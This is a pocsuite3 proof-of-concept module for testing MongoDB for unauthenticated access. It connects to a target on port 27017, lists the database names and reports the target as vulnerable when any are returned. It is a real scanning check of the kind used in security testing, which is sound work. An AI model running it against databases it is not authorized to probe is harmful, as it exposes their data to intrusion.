import pymongo
from pocsuite3.api import POCBase, POC_CATEGORY, VUL_TYPE, logger, register_poc, Output


class MongodbUnauthorized(POCBase):
    vulID = '006'
    version = '3'
    author = ['cor0ps']
    vulDate = '2014-01'
    createDate = '2020-06-08'
    updateDate = '2020-06-08'
    references = ['https://xz.aliyun.com/t/2320']
    name = 'MongoDB 未授权访问'
    appName = 'MongoDB'
    appVersion = 'All'
    appPowerLink = 'https://www.mongodb.com/'
    install_requires = ['pymongo']
    vulType = VUL_TYPE.UNAUTHORIZED_ACCESS
    desc = '''
           MongoDB 默认直接连接，无须身份验证，如果当前机器可以公网访问，且不注意Mongodb 端口
           （默认 27017）的开放状态，那么Mongodb就会产生安全风险，被利用此配置漏洞，入侵数据库。
            '''
    samples = ['']
    category = POC_CATEGORY.EXPLOITS.REMOTE
    protocol = POC_CATEGORY.PROTOCOL.MONGODB

    def _attack(self):
        self._verify()

    def _verify(self):
        result = {}
        # ip_addr = urlparse.urlparse(verify_url).netloc
        try:
            host = self.getg_option("rhost")
            port = self.getg_option("rport") or 27017
            conn = pymongo.MongoClient(host, port, socketTimeoutMS=3000)
            dbname = conn.list_database_names()
            if dbname:
                result['VerifyInfo'] = {}
                result['VerifyInfo']['Info'] = self.name
                result['VerifyInfo']['URL'] = host
                result['VerifyInfo']['Port'] = port
        except Exception as ex:
            logger.error(str(ex))
        finally:
            pass
            # conn.close()
        return self.parse_verify(result)

    def _run(self):
        pass

    def parse_verify(self, result):
        output = Output(self)
        if result:
            output.success(result)
        else:
            output.fail('mongodb target is not vulnerable')
        return output


# 一定要注册
register_poc(MongodbUnauthorized)
